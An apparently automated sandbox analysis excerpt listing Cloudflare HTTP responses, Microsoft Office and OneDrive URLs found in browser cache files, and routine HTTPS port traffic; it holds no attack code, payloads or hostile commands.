Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 14:05:36 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F75crSmS0AZ2qqYWaGYNesPHy5c8Opavuch19T5WI%2B0QG1Vx5xcOBeaiu62IZYTo7oAzJv05zhh29icJ05IxN7%2F1q%2FfvJ2erXFvPAa%2BvRCx029OJtUIHLKVg7sbKBQWNMZQ0Y866QYyMHdkW6Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9015f130b8838c95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1865&min_rtt=1863&rtt_var=703&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1241&delivery_rate=1552365&cwnd=204&unsent_bytes=0&cid=a6105ea0e5936f20&ts=311&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 14:05:37 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: idSOYYnHTDBswJ0tVUvLPQ==$TY4NzLK3qKL0iE8mTd+IbQ==Server: cloudflareCF-RAY: 9015f1377df10f74-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 14:05:40 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: d8yGjrocHJddnnKnmns++g==$c4d9mupuoylIe1rNxXuabA==Server: cloudflareCF-RAY: 9015f1499b484271-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 14:05:52 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwmCiHs36pI6ySQmrGpd%2BDkggJDOWvugoK4ym4WoaTbNa2u35J06lJogA64jBcwIeW%2BUBsYLe8dr0cUEF3o92NJCfFXQuTfxbUpKQ8r%2BLOFWZwNJa89ZD3%2FzlLRPm%2FH3yt7N5ct8YNmfMUi5QQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9015f1918c0f8c17-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1791&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1241&delivery_rate=1582655&cwnd=231&unsent_bytes=0&cid=4dc346d216766859&ts=8256&x=0"

URLs found in memory or binary data

Source: chromecache_1536.1.dr, chromecache_1193.1.dr, chromecache_1310.1.dr, chromecache_1402.1.dr, chromecache_1202.1.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_1547.1.dr	String found in binary or memory: http://linkless.header/
Source: chromecache_1259.1.dr, chromecache_1454.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_1309.1.dr, chromecache_1449.1.dr, chromecache_1034.1.dr	String found in binary or memory: http://www.contoso.com
Source: chromecache_1063.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_1446.1.dr	String found in binary or memory: http://www.unicode.org/copyright.html
Source: chromecache_1486.1.dr, chromecache_943.1.dr	String found in binary or memory: https://1drv.com/
Source: chromecache_1457.1.dr, chromecache_969.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_1486.1.dr, chromecache_943.1.dr	String found in binary or memory: https://centralus1-mediad.svc.ms
Source: chromecache_1486.1.dr, chromecache_1009.1.dr, chromecache_1324.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/web/policies
Source: chromecache_1194.1.dr	String found in binary or memory: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute
Source: chromecache_1378.1.dr, chromecache_1101.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_1378.1.dr, chromecache_1101.1.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_1372.1.dr, chromecache_1153.1.dr	String found in binary or memory: https://floodgatesurveyschema.svc.cloud.microsoft/be998278-ae33-41a3-a032-f8020d1a9379/0777467b-557e
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4gaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4iaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4jaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4kaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4saVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4taVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4uaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4vaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5OaVI
Source: chromecache_1526.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5caVI
Source: chromecache_1502.1.dr, chromecache_1292.1.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_1082.1.dr, chromecache_1164.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_1502.1.dr, chromecache_1292.1.dr, chromecache_1082.1.dr, chromecache_1164.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_1502.1.dr, chromecache_1082.1.dr, chromecache_1164.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_1459.1.dr, chromecache_1368.1.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: chromecache_1465.1.dr	String found in binary or memory: https://lists.live.com/
Source: chromecache_1486.1.dr, chromecache_943.1.dr	String found in binary or memory: https://livefilestore.com/
Source: chromecache_1378.1.dr, chromecache_1101.1.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: chromecache_1552.1.dr, chromecache_1501.1.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_1397.1.dr	String found in binary or memory: https://loki.delve.office.com
Source: chromecache_1304.1.dr	String found in binary or memory: https://make.powerautomate.com
Source: chromecache_1386.1.dr, chromecache_1304.1.dr	String found in binary or memory: https://make.preprod.powerautomate.com
Source: chromecache_1386.1.dr, chromecache_1304.1.dr	String found in binary or memory: https://make.test.powerautomate.com
Source: chromecache_1023.1.dr, chromecache_1486.1.dr, chromecache_974.1.dr, chromecache_1048.1.dr, chromecache_1314.1.dr, chromecache_1541.1.dr, chromecache_943.1.dr	String found in binary or memory: https://media.cloudapp.net
Source: chromecache_1552.1.dr, chromecache_1501.1.dr	String found in binary or memory: https://microsoft.spfx3rdparty.com
Source: chromecache_974.1.dr, chromecache_1533.1.dr, chromecache_1417.1.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_1023.1.dr, chromecache_1486.1.dr, chromecache_974.1.dr, chromecache_1048.1.dr, chromecache_1314.1.dr, chromecache_1541.1.dr, chromecache_943.1.dr	String found in binary or memory: https://northcentralus1-medias.svc.ms
Source: chromecache_1009.1.dr	String found in binary or memory: https://office.visualstudio.com/OC/_git/M365AdminUX?path=%2Fmodules%2Fhvc-loader
Source: chromecache_1009.1.dr	String found in binary or memory: https://office.visualstudio.com/OC/_workitems/edit/2364251
Source: chromecache_1103.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://onedrive.cloud.microsoft
Source: chromecache_1103.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://onedrive.dev.cloud.microsoft
Source: chromecache_1074.1.dr	String found in binary or memory: https://onedrive.live.com/?gologin=1
Source: chromecache_1552.1.dr, chromecache_1501.1.dr	String found in binary or memory: https://onedrive.live.com/_layouts/15/odcauth.aspx
Source: chromecache_1498.1.dr, chromecache_1425.1.dr, chromecache_1540.1.dr, chromecache_1533.1.dr, chromecache_1233.1.dr, chromecache_1374.1.dr, chromecache_1304.1.dr, chromecache_940.1.dr, chromecache_1417.1.dr, chromecache_1395.1.dr	String found in binary or memory: https://outlook.office.com/search
Source: chromecache_1486.1.dr, chromecache_1351.1.dr, chromecache_943.1.dr	String found in binary or memory: https://portal.office.com/
Source: chromecache_966.1.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_1486.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://res-1-sdf.cdn.office.net
Source: chromecache_1486.1.dr, chromecache_1541.1.dr, chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net
Source: chromecache_1371.1.dr, chromecache_1091.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/fabric-cdn-prod_20230815.002/assets
Source: chromecache_1317.1.dr, chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-11-29.005/
Source: chromecache_1317.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-11-29.005/stsserviceworkerprefetch/stsservicew
Source: chromecache_1215.1.dr, chromecache_1519.1.dr, chromecache_1317.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-12-06.007/
Source: chromecache_1317.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-12-06.007/spserviceworker.js
Source: chromecache_1215.1.dr, chromecache_1519.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2024-12-06.007/spwebworker.js
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-53e88b74
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-9f75f7e2
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.aria/odsp.aria.lib-ab227069
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-b73b533d
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-93de749b
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-90e28871
Source: chromecache_1074.1.dr	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2024-11-29.005/
Source: chromecache_1547.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://sharepoint.uservoice.com/forums/329214-sites-and-collaboration
Source: chromecache_1074.1.dr	String found in binary or memory: https://shell.cdn.office.net
Source: chromecache_1074.1.dr	String found in binary or memory: https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell
Source: chromecache_1486.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://shellppe.msocdn.com
Source: chromecache_1486.1.dr, chromecache_1541.1.dr	String found in binary or memory: https://shellprod.msocdn.com
Source: chromecache_1074.1.dr	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-regula
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-semili
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semilight.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semibold.wof
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semilight.wo
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-bold.wof
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-light.wo
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-regular.
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semibold
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semilight.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff2
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-light.woff
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-bold.wof
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-regular.
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semibold
Source: chromecache_1258.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semiligh
Source: chromecache_1486.1.dr	String found in binary or memory: https://substrate.office.com
Source: chromecache_989.1.dr, chromecache_1154.1.dr, chromecache_1533.1.dr, chromecache_1105.1.dr, chromecache_963.1.dr, chromecache_1417.1.dr	String found in binary or memory: https://support.office.com/en-us/article/Manage-lists-and-libraries-with-many-items-b8588dae-9387-48
Source: chromecache_1074.1.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2Fonedrive
Source: chromecache_1074.1.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2Fonedrive

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 51763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51824
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51825
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51826
Source: unknown	Network traffic detected: HTTP traffic on port 51828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51664
Source: unknown	Network traffic detected: HTTP traffic on port 51820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52087
Source: unknown	Network traffic detected: HTTP traffic on port 51889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51833
Source: unknown	Network traffic detected: HTTP traffic on port 52052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51837
Source: unknown	Network traffic detected: HTTP traffic on port 51875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51672
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52095
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 51868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51842
Source: unknown	Network traffic detected: HTTP traffic on port 52090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 51982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51857
Source: unknown	Network traffic detected: HTTP traffic on port 51903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51858
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51859
Source: unknown	Network traffic detected: HTTP traffic on port 51877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51853
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51867
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51868
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51749
Source: unknown	Network traffic detected: HTTP traffic on port 51876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51743
Source: unknown	Network traffic detected: HTTP traffic on port 51824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51982
Source: unknown	Network traffic detected: HTTP traffic on port 51833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51909
Source: unknown	Network traffic detected: HTTP traffic on port 51818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51636
Source: unknown	Network traffic detected: HTTP traffic on port 51787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51758
Source: unknown	Network traffic detected: HTTP traffic on port 51896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51877
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51871
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51752
Source: unknown	Network traffic detected: HTTP traffic on port 51859 -> 443
